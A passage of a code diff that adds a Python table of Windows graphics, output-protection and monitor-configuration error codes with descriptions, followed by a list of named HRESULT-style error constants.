+        0xC0262113: ("ERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE", "An invalid allocation instance is being referenced."),
+        0xC0262114: ("ERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE", "An invalid allocation handle is being referenced."),
+        0xC0262115: ("ERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE", "The allocation being referenced does not belong to the current device."),
+        0xC0262116: ("ERROR_GRAPHICS_ALLOCATION_CONTENT_LOST", "The specified allocation lost its content."),
+        0xC0262200: ("ERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE", "Graphics processing unit (GPU) exception is detected on the given device. The device is not able to be scheduled."),
+        0xC0262300: ("ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY", "Specified video present network (VidPN) topology is invalid."),
+        0xC0262301: ("ERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED", "Specified VidPN topology is valid but is not supported by this model of the display adapter."),
+        0xC0262302: ("ERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED", "Specified VidPN topology is valid but is not supported by the display adapter at this time, due to current allocation of its resources."),
+        0xC0262303: ("ERROR_GRAPHICS_INVALID_VIDPN", "Specified VidPN handle is invalid."),
+        0xC0262304: ("ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE", "Specified video present source is invalid."),
+        0xC0262305: ("ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET", "Specified video present target is invalid."),
+        0xC0262306: ("ERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED", "Specified VidPN modality is not supported (for example, at least two of the pinned modes are not cofunctional)."),
+        0xC0262308: ("ERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET", "Specified VidPN source mode set is invalid."),
+        0xC0262309: ("ERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET", "Specified VidPN target mode set is invalid."),
+        0xC026230A: ("ERROR_GRAPHICS_INVALID_FREQUENCY", "Specified video signal frequency is invalid."),
+        0xC026230B: ("ERROR_GRAPHICS_INVALID_ACTIVE_REGION", "Specified video signal active region is invalid."),
+        0xC026230C: ("ERROR_GRAPHICS_INVALID_TOTAL_REGION", "Specified video signal total region is invalid."),
+        0xC0262310: ("ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE", "Specified video present source mode is invalid."),
+        0xC0262311: ("ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE", "Specified video present target mode is invalid."),
+        0xC0262312: ("ERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET", "Pinned mode must remain in the set on VidPN's cofunctional modality enumeration."),
+        0xC0262313: ("ERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY", "Specified video present path is already in the VidPN topology."),
+        0xC0262314: ("ERROR_GRAPHICS_MODE_ALREADY_IN_MODESET", "Specified mode is already in the mode set."),
+        0xC0262315: ("ERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET", "Specified video present source set is invalid."),
+        0xC0262316: ("ERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET", "Specified video present target set is invalid."),
+        0xC0262317: ("ERROR_GRAPHICS_SOURCE_ALREADY_IN_SET", "Specified video present source is already in the video present source set."),
+        0xC0262318: ("ERROR_GRAPHICS_TARGET_ALREADY_IN_SET", "Specified video present target is already in the video present target set."),
+        0xC0262319: ("ERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH", "Specified VidPN present path is invalid."),
+        0xC026231A: ("ERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY", "Miniport has no recommendation for augmentation of the specified VidPN topology."),
+        0xC026231B: ("ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET", "Specified monitor frequency range set is invalid."),
+        0xC026231C: ("ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE", "Specified monitor frequency range is invalid."),
+        0xC026231D: ("ERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET", "Specified frequency range is not in the specified monitor frequency range set."),
+        0xC026231F: ("ERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET", "Specified frequency range is already in the specified monitor frequency range set."),
+        0xC0262320: ("ERROR_GRAPHICS_STALE_MODESET", "Specified mode set is stale. Reacquire the new mode set."),
+        0xC0262321: ("ERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET", "Specified monitor source mode set is invalid."),
+        0xC0262322: ("ERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE", "Specified monitor source mode is invalid."),
+        0xC0262323: ("ERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN", "Miniport does not have any recommendation regarding the request to provide a functional VidPN given the current display adapter configuration."),
+        0xC0262324: ("ERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE", "ID of the specified mode is already used by another mode in the set."),
+        0xC0262325: ("ERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION", "System failed to determine a mode that is supported by both the display adapter and the monitor connected to it."),
+        0xC0262326: ("ERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES", "Number of video present targets must be greater than or equal to the number of video present sources."),
+        0xC0262327: ("ERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY", "Specified present path is not in the VidPN topology."),
+        0xC0262328: ("ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE", "Display adapter must have at least one video present source."),
+        0xC0262329: ("ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET", "Display adapter must have at least one video present target."),
+        0xC026232A: ("ERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET", "Specified monitor descriptor set is invalid."),
+        0xC026232B: ("ERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR", "Specified monitor descriptor is invalid."),
+        0xC026232C: ("ERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET", "Specified descriptor is not in the specified monitor descriptor set."),
+        0xC026232D: ("ERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET", "Specified descriptor is already in the specified monitor descriptor set."),
+        0xC026232E: ("ERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE", "ID of the specified monitor descriptor is already used by another descriptor in the set."),
+        0xC026232F: ("ERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE", "Specified video present target subset type is invalid."),
+        0xC0262330: ("ERROR_GRAPHICS_RESOURCES_NOT_RELATED", "Two or more of the specified resources are not related to each other, as defined by the interface semantics."),
+        0xC0262331: ("ERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE", "ID of the specified video present source is already used by another source in the set."),
+        0xC0262332: ("ERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE", "ID of the specified video present target is already used by another target in the set."),
+        0xC0262333: ("ERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET", "Specified VidPN source cannot be used because there is no available VidPN target to connect it to."),
+        0xC0262334: ("ERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER", "Newly arrived monitor could not be associated with a display adapter."),
+        0xC0262335: ("ERROR_GRAPHICS_NO_VIDPNMGR", "Display adapter in question does not have an associated VidPN manager."),
+        0xC0262336: ("ERROR_GRAPHICS_NO_ACTIVE_VIDPN", "VidPN manager of the display adapter in question does not have an active VidPN."),
+        0xC0262337: ("ERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY", "Specified VidPN topology is stale. Re-acquire the new topology."),
+        0xC0262338: ("ERROR_GRAPHICS_MONITOR_NOT_CONNECTED", "There is no monitor connected on the specified video present target."),
+        0xC0262339: ("ERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY", "Specified source is not part of the specified VidPN topology."),
+        0xC026233A: ("ERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE", "Specified primary surface size is invalid."),
+        0xC026233B: ("ERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE", "Specified visible region size is invalid."),
+        0xC026233C: ("ERROR_GRAPHICS_INVALID_STRIDE", "Specified stride is invalid."),
+        0xC026233D: ("ERROR_GRAPHICS_INVALID_PIXELFORMAT", "Specified pixel format is invalid."),
+        0xC026233E: ("ERROR_GRAPHICS_INVALID_COLORBASIS", "Specified color basis is invalid."),
+        0xC026233F: ("ERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE", "Specified pixel value access mode is invalid."),
+        0xC0262340: ("ERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY", "Specified target is not part of the specified VidPN topology."),
+        0xC0262341: ("ERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT", "Failed to acquire display mode management interface."),
+        0xC0262342: ("ERROR_GRAPHICS_VIDPN_SOURCE_IN_USE", "Specified VidPN source is already owned by a display mode manager (DMM) client and cannot be used until that client releases it."),
+        0xC0262343: ("ERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN", "Specified VidPN is active and cannot be accessed."),
+        0xC0262344: ("ERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL", "Specified VidPN present path importance ordinal is invalid."),
+        0xC0262345: ("ERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION", "Specified VidPN present path content geometry transformation is invalid."),
+        0xC0262346: ("ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED", "Specified content geometry transformation is not supported on the respective VidPN present path."),
+        0xC0262347: ("ERROR_GRAPHICS_INVALID_GAMMA_RAMP", "Specified gamma ramp is invalid."),
+        0xC0262348: ("ERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED", "Specified gamma ramp is not supported on the respective VidPN present path."),
+        0xC0262349: ("ERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED", "Multisampling is not supported on the respective VidPN present path."),
+        0xC026234A: ("ERROR_GRAPHICS_MODE_NOT_IN_MODESET", "Specified mode is not in the specified mode set."),
+        0xC026234D: ("ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON", "Specified VidPN topology recommendation reason is invalid."),
+        0xC026234E: ("ERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE", "Specified VidPN present path content type is invalid."),
+        0xC026234F: ("ERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE", "Specified VidPN present path copy protection type is invalid."),
+        0xC0262350: ("ERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS", "No more than one unassigned mode set can exist at any given time for a given VidPN source or target."),
+        0xC0262352: ("ERROR_GRAPHICS_INVALID_SCANLINE_ORDERING", "The specified scan line ordering type is invalid."),
+        0xC0262353: ("ERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED", "Topology changes are not allowed for the specified VidPN."),
+        0xC0262354: ("ERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS", "All available importance ordinals are already used in the specified topology."),
+        0xC0262355: ("ERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT", "Specified primary surface has a different private format attribute than the current primary surface."),
+        0xC0262356: ("ERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM", "Specified mode pruning algorithm is invalid."),
+        0xC0262400: ("ERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED", "Specified display adapter child device already has an external device connected to it."),
+        0xC0262401: ("ERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED", "The display adapter child device does not support reporting a descriptor."),
+        0xC0262430: ("ERROR_GRAPHICS_NOT_A_LINKED_ADAPTER", "The display adapter is not linked to any other adapters."),
+        0xC0262431: ("ERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED", "Lead adapter in a linked configuration was not enumerated yet."),
+        0xC0262432: ("ERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED", "Some chain adapters in a linked configuration were not enumerated yet."),
+        0xC0262433: ("ERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY", "The chain of linked adapters is not ready to start because of an unknown failure."),
+        0xC0262434: ("ERROR_GRAPHICS_CHAINLINKS_NOT_STARTED", "An attempt was made to start a lead link display adapter when the chain links were not started yet."),
+        0xC0262435: ("ERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON", "An attempt was made to turn on a lead link display adapter when the chain links were turned off."),
+        0xC0262436: ("ERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE", "The adapter link was found to be in an inconsistent state. Not all adapters are in an expected PNP or power state."),
+        0xC0262438: ("ERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER", "The driver trying to start is not the same as the driver for the posted display adapter."),
+        0xC0262500: ("ERROR_GRAPHICS_OPM_NOT_SUPPORTED", "The driver does not support Output Protection Manager (OPM)."),
+        0xC0262501: ("ERROR_GRAPHICS_COPP_NOT_SUPPORTED", "The driver does not support Certified Output Protection Protocol (COPP)."),
+        0xC0262502: ("ERROR_GRAPHICS_UAB_NOT_SUPPORTED", "The driver does not support a user-accessible bus (UAB)."),
+        0xC0262503: ("ERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS", "The specified encrypted parameters are invalid."),
+        0xC0262504: ("ERROR_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL", "An array passed to a function cannot hold all of the data that the function wants to put in it."),
+        0xC0262505: ("ERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST", "The GDI display device passed to this function does not have any active video outputs."),
+        0xC0262506: ("ERROR_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME", "The protected video path (PVP) cannot find an actual GDI display device that corresponds to the passed-in GDI display device name."),
+        0xC0262507: ("ERROR_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP", "This function failed because the GDI display device passed to it was not attached to the Windows desktop."),
+        0xC0262508: ("ERROR_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED", "The PVP does not support mirroring display devices because they do not have video outputs."),
+        0xC026250A: ("ERROR_GRAPHICS_OPM_INVALID_POINTER", "The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, it points to an invalid address, it points to a kernel mode address, or it is not correctly aligned."),
+        0xC026250B: ("ERROR_GRAPHICS_OPM_INTERNAL_ERROR", "An internal error caused this operation to fail."),
+        0xC026250C: ("ERROR_GRAPHICS_OPM_INVALID_HANDLE", "The function failed because the caller passed in an invalid OPM user mode handle."),
+        0xC026250D: ("ERROR_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE", "This function failed because the GDI device passed to it did not have any monitors associated with it."),
+        0xC026250E: ("ERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH", "A certificate could not be returned because the certificate buffer passed to the function was too small."),
+        0xC026250F: ("ERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED", "A video output could not be created because the frame buffer is in spanning mode."),
+        0xC0262510: ("ERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED", "A video output could not be created because the frame buffer is in theater mode."),
+        0xC0262511: ("ERROR_GRAPHICS_PVP_HFS_FAILED", "The function call failed because the display adapter's hardware functionality scan failed to validate the graphics hardware."),
+        0xC0262512: ("ERROR_GRAPHICS_OPM_INVALID_SRM", "The High-Bandwidth Digital Content Protection (HDCP) System Renewability Message (SRM) passed to this function did not comply with section 5 of the HDCP 1.1 specification."),
+        0xC0262513: ("ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP", "The video output cannot enable the HDCP system because it does not support it."),
+        0xC0262514: ("ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP", "The video output cannot enable analog copy protection because it does not support it."),
+        0xC0262515: ("ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA", "The video output cannot enable the Content Generation Management System Analog (CGMS-A) protection technology because it does not support it."),
+        0xC0262516: ("ERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET", "IOPMVideoOutput's GetInformation() method cannot return the version of the SRM being used because the application never successfully passed an SRM to the video output."),
+        0xC0262517: ("ERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH", "IOPMVideoOutput's Configure() method cannot enable the specified output protection technology because the output's screen resolution is too high."),
+        0xC0262518: ("ERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE", "IOPMVideoOutput's Configure() method cannot enable HDCP because the display adapter's HDCP hardware is already being used by other physical outputs."),
+        0xC0262519: ("ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS", "The operating system asynchronously destroyed this OPM video output because the operating system's state changed. This error typically occurs because the monitor physical device object (PDO) associated with this video output was removed, the monitor PDO associated with this video output was stopped, the video output's session became a nonconsole session or the video output's desktop became an inactive desktop."),
+        0xC026251A: ("ERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS", "IOPMVideoOutput's methods cannot be called when a session is changing its type. There are currently three types of sessions: console, disconnected and remote (remote desktop protocol [RDP] or Independent Computing Architecture [ICA])."),
+        0xC0262580: ("ERROR_GRAPHICS_I2C_NOT_SUPPORTED", "The monitor connected to the specified video output does not have an I2C bus."),
+        0xC0262581: ("ERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST", "No device on the I2C bus has the specified address."),
+        0xC0262582: ("ERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA", "An error occurred while transmitting data to the device on the I2C bus."),
+        0xC0262583: ("ERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA", "An error occurred while receiving data from the device on the I2C bus."),
+        0xC0262584: ("ERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED", "The monitor does not support the specified Virtual Control Panel (VCP) code."),
+        0xC0262585: ("ERROR_GRAPHICS_DDCCI_INVALID_DATA", "The data received from the monitor is invalid."),
+        0xC0262586: ("ERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE", "A function call failed because a monitor returned an invalid Timing Status byte when the operating system used the Display Data Channel Command Interface (DDC/CI) Get Timing Report and Timing Message command to get a timing report from a monitor."),
+        0xC0262587: ("ERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING", "The monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1 or MCCS 2 Revision 1 specification."),
+        0xC0262588: ("ERROR_GRAPHICS_MCA_INTERNAL_ERROR", "An internal Monitor Configuration API error occurred."),
+        0xC0262589: ("ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND", "An operation failed because a DDC/CI message had an invalid value in its command field."),
+        0xC026258A: ("ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH", "This error occurred because a DDC/CI message length field contained an invalid value."),
+        0xC026258B: ("ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM", "This error occurred because the value in a DDC/CI message checksum field did not match the message's computed checksum value. This error implies that the data was corrupted while it was being transmitted from a monitor to a computer."),
+        0xC02625D6: ("ERROR_GRAPHICS_PMEA_INVALID_MONITOR", "The HMONITOR no longer exists, is not attached to the desktop, or corresponds to a mirroring device."),
+        0xC02625D7: ("ERROR_GRAPHICS_PMEA_INVALID_D3D_DEVICE", "The Direct3D (D3D) device's GDI display device no longer exists, is not attached to the desktop, or is a mirroring display device."),
+        0xC02625D8: ("ERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE", "A continuous VCP code's current value is greater than its maximum value. This error code indicates that a monitor returned an invalid value."),
+        0xC02625D9: ("ERROR_GRAPHICS_MCA_INVALID_VCP_VERSION", "The monitor's VCP Version (0xDF) VCP code returned an invalid version value."),
+        0xC02625DA: ("ERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION", "The monitor does not comply with the Monitor Control Command Set (MCCS) specification it claims to support."),
+        0xC02625DB: ("ERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH", "The MCCS version in a monitor's mccs_ver capability does not match the MCCS version the monitor reports when the VCP Version (0xDF) VCP code is used."),
+        0xC02625DC: ("ERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION", "The Monitor Configuration API only works with monitors that support the MCCS 1.0 specification, the MCCS 2.0 specification, or the MCCS 2.0 Revision 1 specification."),
+        0xC02625DE: ("ERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED", "The monitor returned an invalid monitor technology type. CRT, plasma, and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification."),
+        0xC02625DF: ("ERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE", "The SetMonitorColorTemperature() caller passed a color temperature to it that the current monitor did not support. CRT, plasma, and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification."),
+        0xC02625E0: ("ERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED", "This function can be used only if a program is running in the local console session. It cannot be used if the program is running on a remote desktop session or on a terminal server session."),
+}
+
+# Error Codes
+
+STG_S_CONVERTED                                              = 0x00030200
+STG_S_BLOCK                                                  = 0x00030201
+STG_S_RETRYNOW                                               = 0x00030202
+STG_S_MONITORING                                             = 0x00030203
+STG_S_MULTIPLEOPENS                                          = 0x00030204
+STG_S_CONSOLIDATIONFAILED                                    = 0x00030205
+STG_S_CANNOTCONSOLIDATE                                      = 0x00030206
+OLE_S_USEREG                                                 = 0x00040000
+OLE_S_STATIC                                                 = 0x00040001
+OLE_S_MAC_CLIPFORMAT                                         = 0x00040002
+DRAGDROP_S_DROP                                              = 0x00040100
+DRAGDROP_S_CANCEL                                            = 0x00040101
+DRAGDROP_S_USEDEFAULTCURSORS                                 = 0x00040102
+DATA_S_SAMEFORMATETC                                         = 0x00040130
+VIEW_S_ALREADY_FROZEN                                        = 0x00040140
+CACHE_S_FORMATETC_NOTSUPPORTED                               = 0x00040170
+CACHE_S_SAMECACHE                                            = 0x00040171
+CACHE_S_SOMECACHES_NOTUPDATED                                = 0x00040172
+OLEOBJ_S_INVALIDVERB                                         = 0x00040180
+OLEOBJ_S_CANNOT_DOVERB_NOW                                   = 0x00040181
+OLEOBJ_S_INVALIDHWND                                         = 0x00040182
+INPLACE_S_TRUNCATED                                          = 0x000401A0
+CONVERT10_S_NO_PRESENTATION                                  = 0x000401C0
+MK_S_REDUCED_TO_SELF                                         = 0x000401E2
+MK_S_ME                                                      = 0x000401E4
+MK_S_HIM                                                     = 0x000401E5
+MK_S_US                                                      = 0x000401E6
+MK_S_MONIKERALREADYREGISTERED                                = 0x000401E7
+EVENT_S_SOME_SUBSCRIBERS_FAILED                              = 0x00040200
+EVENT_S_NOSUBSCRIBERS                                        = 0x00040202
+SCHED_S_TASK_READY                                           = 0x00041300
+SCHED_S_TASK_RUNNING                                         = 0x00041301
+SCHED_S_TASK_DISABLED                                        = 0x00041302
+SCHED_S_TASK_HAS_NOT_RUN                                     = 0x00041303
+SCHED_S_TASK_NO_MORE_RUNS                                    = 0x00041304
+SCHED_S_TASK_NOT_SCHEDULED                                   = 0x00041305
+SCHED_S_TASK_TERMINATED                                      = 0x00041306
+SCHED_S_TASK_NO_VALID_TRIGGERS                               = 0x00041307
+SCHED_S_EVENT_TRIGGER                                        = 0x00041308
+SCHED_S_SOME_TRIGGERS_FAILED                                 = 0x0004131B
+SCHED_S_BATCH_LOGON_PROBLEM                                  = 0x0004131C
+XACT_S_ASYNC                                                 = 0x0004D000
+XACT_S_READONLY                                              = 0x0004D002
+XACT_S_SOMENORETAIN                                          = 0x0004D003
+XACT_S_OKINFORM                                              = 0x0004D004
+XACT_S_MADECHANGESCONTENT                                    = 0x0004D005
+XACT_S_MADECHANGESINFORM                                     = 0x0004D006
+XACT_S_ALLNORETAIN                                           = 0x0004D007
+XACT_S_ABORTING                                              = 0x0004D008
+XACT_S_SINGLEPHASE                                           = 0x0004D009
+XACT_S_LOCALLY_OK                                            = 0x0004D00A
+XACT_S_LASTRESOURCEMANAGER                                   = 0x0004D010
+CO_S_NOTALLINTERFACES                                        = 0x00080012
+CO_S_MACHINENAMENOTFOUND                                     = 0x00080013
+SEC_I_CONTINUE_NEEDED                                        = 0x00090312
+SEC_I_COMPLETE_NEEDED                                        = 0x00090313
+SEC_I_COMPLETE_AND_CONTINUE                                  = 0x00090314
+SEC_I_LOCAL_LOGON                                            = 0x00090315
+SEC_I_CONTEXT_EXPIRED                                        = 0x00090317
+SEC_I_INCOMPLETE_CREDENTIALS                                 = 0x00090320
+SEC_I_RENEGOTIATE                                            = 0x00090321
+SEC_I_NO_LSA_CONTEXT                                         = 0x00090323
+SEC_I_SIGNATURE_NEEDED                                       = 0x0009035C
+CRYPT_I_NEW_PROTECTION_REQUIRED                              = 0x00091012
+NS_S_CALLPENDING                                             = 0x000D0000
+NS_S_CALLABORTED                                             = 0x000D0001
+NS_S_STREAM_TRUNCATED                                        = 0x000D0002
+NS_S_REBUFFERING                                             = 0x000D0BC8
+NS_S_DEGRADING_QUALITY                                       = 0x000D0BC9
+NS_S_TRANSCRYPTOR_EOF                                        = 0x000D0BDB
+NS_S_WMP_UI_VERSIONMISMATCH                                  = 0x000D0FE8
+NS_S_WMP_EXCEPTION                                           = 0x000D0FE9
+NS_S_WMP_LOADED_GIF_IMAGE                                    = 0x000D1040
+NS_S_WMP_LOADED_PNG_IMAGE                                    = 0x000D1041
+NS_S_WMP_LOADED_BMP_IMAGE                                    = 0x000D1042
+NS_S_WMP_LOADED_JPG_IMAGE                                    = 0x000D1043
+NS_S_WMG_FORCE_DROP_FRAME                                    = 0x000D104F
+NS_S_WMR_ALREADYRENDERED                                     = 0x000D105F
+NS_S_WMR_PINTYPEPARTIALMATCH                                 = 0x000D1060
+NS_S_WMR_PINTYPEFULLMATCH                                    = 0x000D1061
+NS_S_WMG_ADVISE_DROP_FRAME                                   = 0x000D1066
+NS_S_WMG_ADVISE_DROP_TO_KEYFRAME                             = 0x000D1067
+NS_S_NEED_TO_BUY_BURN_RIGHTS                                 = 0x000D10DB
+NS_S_WMPCORE_PLAYLISTCLEARABORT                              = 0x000D10FE
+NS_S_WMPCORE_PLAYLISTREMOVEITEMABORT                         = 0x000D10FF
+NS_S_WMPCORE_PLAYLIST_CREATION_PENDING                       = 0x000D1102
+NS_S_WMPCORE_MEDIA_VALIDATION_PENDING                        = 0x000D1103
+NS_S_WMPCORE_PLAYLIST_REPEAT_SECONDARY_SEGMENTS_IGNORED      = 0x000D1104
+NS_S_WMPCORE_COMMAND_NOT_AVAILABLE                           = 0x000D1105
+NS_S_WMPCORE_PLAYLIST_NAME_AUTO_GENERATED                    = 0x000D1106
+NS_S_WMPCORE_PLAYLIST_IMPORT_MISSING_ITEMS                   = 0x000D1107
+NS_S_WMPCORE_PLAYLIST_COLLAPSED_TO_SINGLE_MEDIA              = 0x000D1108
+NS_S_WMPCORE_MEDIA_CHILD_PLAYLIST_OPEN_PENDING               = 0x000D1109
+NS_S_WMPCORE_MORE_NODES_AVAIABLE                             = 0x000D110A
+NS_S_WMPBR_SUCCESS                                           = 0x000D1135
+NS_S_WMPBR_PARTIALSUCCESS                                    = 0x000D1136
+NS_S_WMPEFFECT_TRANSPARENT                                   = 0x000D1144
+NS_S_WMPEFFECT_OPAQUE                                        = 0x000D1145
+NS_S_OPERATION_PENDING                                       = 0x000D114E
+NS_S_TRACK_BUY_REQUIRES_ALBUM_PURCHASE                       = 0x000D1359
+NS_S_NAVIGATION_COMPLETE_WITH_ERRORS                         = 0x000D135E
+NS_S_TRACK_ALREADY_DOWNLOADED                                = 0x000D1361
+NS_S_PUBLISHING_POINT_STARTED_WITH_FAILED_SINKS              = 0x000D1519
+NS_S_DRM_LICENSE_ACQUIRED                                    = 0x000D2726
+NS_S_DRM_INDIVIDUALIZED                                      = 0x000D2727
+NS_S_DRM_MONITOR_CANCELLED                                   = 0x000D2746
+NS_S_DRM_ACQUIRE_CANCELLED                                   = 0x000D2747
+NS_S_DRM_BURNABLE_TRACK                                      = 0x000D276E
+NS_S_DRM_BURNABLE_TRACK_WITH_PLAYLIST_RESTRICTION            = 0x000D276F
+NS_S_DRM_NEEDS_INDIVIDUALIZATION                             = 0x000D27DE
+NS_S_REBOOT_RECOMMENDED                                      = 0x000D2AF8
+NS_S_REBOOT_REQUIRED                                         = 0x000D2AF9
+NS_S_EOSRECEDING                                             = 0x000D2F09
+NS_S_CHANGENOTICE                                            = 0x000D2F0D
+ERROR_FLT_IO_COMPLETE                                        = 0x001F0001
+ERROR_GRAPHICS_MODE_NOT_PINNED                               = 0x00262307
+ERROR_GRAPHICS_NO_PREFERRED_MODE                             = 0x0026231E
+ERROR_GRAPHICS_DATASET_IS_EMPTY                              = 0x0026234B
+ERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET                   = 0x0026234C
+ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED = 0x00262351
+PLA_S_PROPERTY_IGNORED                                       = 0x00300100
+ERROR_NDIS_INDICATION_REQUIRED                               = 0x00340001
+TRK_S_OUT_OF_SYNC                                            = 0x0DEAD100
+TRK_VOLUME_NOT_FOUND                                         = 0x0DEAD102
+TRK_VOLUME_NOT_OWNED                                         = 0x0DEAD103
+TRK_S_NOTIFICATION_QUOTA_EXCEEDED                            = 0x0DEAD107
+NS_I_TIGER_START                                             = 0x400D004F
